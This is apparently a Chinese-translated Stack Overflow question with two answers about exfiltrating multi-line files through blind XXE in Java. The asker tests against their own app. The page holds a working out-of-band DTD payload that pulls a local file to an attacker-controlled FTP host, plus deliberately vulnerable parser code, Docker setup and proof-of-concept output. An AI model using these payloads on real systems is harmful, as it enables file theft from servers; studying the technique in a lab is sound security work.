我创建了一个易受(盲) XXE攻击的Java应用程序。
我能够利用该漏洞,并使用以下方法检索包含一行的文件:
1)截取XML请求,修改如下:
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>2)在192.168.27.152上,在端口80上提供以下evil_oob.dtd:
<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">3)在攻击者机器的端口2121上运行修改后的FTP服务器(Python)。
正如我前面所解释的,当test.txt只包含一行时,一切正常。但是,如果test.txt包含多行(因此是回车符),则ftp URL无效,并且我得到以下错误:
java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
<... snip ...>
at java.lang.Thread.run(Thread.java:748) Caused by:
sun.net.ftp.FtpProtocolException: Illegal FTP command at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533) at
sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752) at
sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293) at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
carriage return** at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)我还尝试用运行在不同端口上的http服务器替换FTP服务器,但我当然得到了类似的错误,因为URL在这种情况下也是无效的。
我想知道是否有可能通过盲XXE检索包含多行的文件?我知道在PHP中你有时可以使用PHP过滤器对文件进行base64编码,但在Java中情况并非如此。
我已经读了几十篇帖子,但找不到实现我目标的方法。
发布于 2020-07-05 08:10:40
这曾经适用于旧版本的Java,但现在不再适用了。它在Java 7中的某个时候打了补丁。
您可以在docker容器上使用旧版本的Java对其进行测试。我找不到现成的,但你可以使用一个旧版本的阿尔卑斯来测试这一点。下面是它的示例Dockerfile:
FROM alpine:3.3
ENV JAVA_HOME=/usr/lib/jvm/default-jvm
RUN apk add --no-cache openjdk7 && \
ln -sf "${JAVA_HOME}/bin/"* "/usr/bin/"构建它:
docker build -t openjdk7:91 .您可以使用以下代码模拟易受攻击的服务器:
import javax.xml.parsers.*;
import org.xml.sax.*;
import javax.xml.transform.dom.*;
import org.w3c.dom.Document;
public class JavaXXE{
public static void main(String []args) throws Exception{
String xml = "xxe_trigger.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);
}
}将此文件另存为JavaXXE.java。将XML (和XXEs)放在一个名为xxe_trigger.xml的文件中。然后在docker上运行代码(它会将当前目录映射到Docker的/tmp):
docker run --rm -v `pwd`:/tmp --workdir /tmp openjdk7:91 sh -c '/usr/lib/jvm/default-jvm/bin/javac JavaXXE.java && java JavaXXE'您将看到它将命中您的FTP服务器,并将该文件的所有行作为命令进行转储。PoC:
FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to
> 230 more data please!
< check newline handling capability
> 230 more data please!发布于 2020-11-07 14:06:11
这是因为Java的新版本不支持多行URI。对于那些有这个问题的人,您可以尝试切换到更低的java版本,比如JDK8u102
https://stackoverflow.com/questions/58395997
复制相似问题